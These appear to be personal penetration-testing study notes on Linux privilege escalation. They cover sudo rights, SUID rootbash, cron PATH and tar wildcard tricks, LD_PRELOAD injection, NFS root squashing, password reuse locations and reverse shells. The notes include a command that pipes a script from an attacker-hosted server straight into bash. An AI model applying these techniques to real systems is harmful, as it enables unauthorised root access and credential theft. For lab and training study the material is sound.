3 PrivEsc
Every PrivEsc comes from a misconfiguration or Vulnerability
Enumerate
Most are found using Enums
> lse.sh -l 1 -i
> curl $MyIP:8000/LinEnum.sh | bashREF: KernelExploits (ex: Dirty Cow)
GTFOBins
Easy site for finding PrivEsc
https://github.com/mzfr/gtfo .. GTFO tool for commandline lin/win
sudo -l
ALWAYS check the sudo rights to see if you can PrivEsc
Find sudo allowed commands w/o password
If you can execute as somebody else.. get their shell !!!
If you can update the script, point it back
REF: NC/Alligator
Password Reuse
Configs, Backups, Docs, ssh keys, Scripts, Service ..if you find a password, reuse it!!
/user/home
/tmp
/var/backups
/.ssh
/myvpn.ovpn
/etc/openvpn/auth.txt
/scripts
~/bash.history, nano.history, mysql.history
PrivEsc Class
PrivEsc workshop VM ...Plus: MisConfigs
Or download updated from udemy-course:
Course > Resources > .ova
user:password321
root:password123
Editor Escapes
vim, ed, ne, nano, pico
Some of these shells provide third party command execution
Editors like “vim” provide us a well known techniques to bypass shell restrictions.
Vim has a feature which allow us to run scripts and commands inside it.
Other Escapes
find Escape
Find has an '-exec' option
Pager Escapes
nc escape
chown/chmod
An over-powered-hack of root, but works!
nmap escape
tmux escape
Found an active tmux session owned by root?
valentineHTB - Was this left wide open to share with devs?
Console Browsers
links, lynx, elinks
Python read file
Python rootbash
REF: ReverseShell
Programming Escapes
Sudo Error Read
If you can sudo apache2
You might be able to make it read something private
Even if it errors, you may still read the file!
Perms
owner:group:world
user:groups:directories
/etc/passwd
/etc/shadow
root UID:0
/etc/group
primary:secondary groups
primary by default is 'same' as username
read:write:execute
dir perms:
execute:to allow enter
read:list contents
write:files and sub can be created
Special perms
setuid bit (suid) - exec as file owner
setgid bit (sgid) - file exec w/priv of group
or: folder files created within get privs of dir-grp
View perms
ls -l /bin/date -rwx r-x r-x
Users have 3 ids
real:effective:saved read: who they actually are efct: whoami will reveal savd: suid can temp switch back-forth
Spawn a Root Shell
copy /bin/bash
rename to rootbash owned by root user, with SUID bit set
rootbash -p
Root Shell: Bash
sudo -l
If you find something to update/execute as root
Tweak it to give you a quick shell:
Copy Bash
A few years ago, you could exploit this configuration issue by copying a shell
(bash a long time ago and ksh more recently)
[Un]fortunately most shells will now prevent this attack.
Root Shell: C
root process executes another process C code to compile that will spawn a bash-root-shell
Root Shell: SUID
REF: Crontab PATH
rootbash
Ref: NinevehHTB, checkroot
Root Shell: service
REF: Path Environment Variables
Root Shell: function
REF: Abusing Old Bash
Root Shell: SO
Reverse Shell Generator: Suggestion Tool
Catch with netcat listener
More Rev Shells:
Reverse Shell: msfvenom
Reverse Shell: perl
Service Exploits
Find apps running with root:
Get the Version
Search Google, searchsploit, github, exploitdb
MySql
Port Forward Localhost
Setting a service on localhost does not make it secure!
We can port-forward our no-password-mysql over to my kali
Send target localhost:3306 connection over to kali:4444
shadow
If we can read - then we can crack
If we can write - then we can update
passwd
/etc/passwd - used to have hashes for backward-compatibility
If 2nd field is hash it will take precedence over hash in shadow
Writeable: We can update to a known hash in passwd, or delete it
Environment Variables
Apps using sudo can inherit env-vars
/etc/sudoers config
env_reset ..runs in minimal
env env_keep ..runs keeping with vars
LD_PRELOAD
Can be set to path of shared obj (.so)
Make a custom shared-object
Create init() to exec
Wont work if real user ID is diff from effective uid
sudo must be configured to preserve LD_PRELOAD with env_keep
LD_LIBRARY_PATH
Kinda like DLL Injection for Linux
We can create our own library instead!
Crons
Cron job running with root is a good target
If perms are misconfigured you can use it to get reverse-shell w/root privs
User crontabs:
/var/spool/cron/
/var/spool/cron/crontabs/
Systemwide:
/etc/crontab
Cron Script (Python)
Found a scheduled job that runs as root, and you can edit the file?
Crontab PATH
Write to path in cron job
We cant update the cron, but we might be able to trick it.
If it is not using absolute path
If the path is writeable
Default: /usr/bin:/bin
Example: /home/user .. is in path and writeable
Wildcard tar touch checkpoint
Using * in a command shell will perform filename expansion aka: "Globbing"
Space-separated list of file/dir names in curr dir
touch can create a checkpoint that will execute
tar is using * and will run the checkpoint action
tar is using * and we can exploit this!
SUID/SGID
SUID files executed with owner privs
SGID files executed with group privs
Apps might add SUID files
Search with searchsploit, google, github
Perl
Note: backticks keep the priority last.. so you can sudo first!
Ruby
Node
If you can get 'node' as as another user..
Execute this Javascript using node:
Shared Object Injection
strace - track system calls
Ex: strace myapp
App is trying to execute a missing "Shared Object"
We can create our own evil SO
Path Environment Variable:
Exploit hunting:
Find SUID/SGID files:
Exploit: This will run 'service' from path instead of the 'real' command
Bash Functions
Old bash can define an evil function that can pop a shell
This is "Defining Bash Functions with Precedence"
Bash < 4.2-048
Could define user functions w/absolute path
Functions could be exported and get precedence
New Scenario has Full Path (which is better)
Bash PS4 Debug
Inject a command to Bash Debug PS4 Prompt
Bash < 4.2-048
SHELLOPTS environment variable with xtrace
debugging mode -x
Can set SHELLOPTS with 'env' command
SSH Keys
Found ssh private key! Are root logins allowed?
NFS Root Squashing
Network File System
Send a rootbash over NFS with local root impersonating remote root
Only works if "no_root_squash" is setup
Remote users can: mount/access/create/modify files
Default: Created files inherit remote user/group ID
Even if not on the NFS server
How NFS protects obvious privesc
If remote user claims to be root uid=0
NFS will squash and treat as a nobody
Feature can be disabled!
REF: TarBackups
wget
REF: SundayHTB
chkrootkit
"chkrootkit privilege escalation" google
Vulnerability will run any exe named: tmp/update ..as root
REF: rootbash, ninevehHTB, https://github.com/NixOS/nixpkgs/issues/33091
ORM
Makes things easier to program.
But sometimes you can slip-in extras to the authentication to get in!
Object-relational mapping (ORM) to easily query the database without any SQL knowledge.
Last updated
Was this helpful?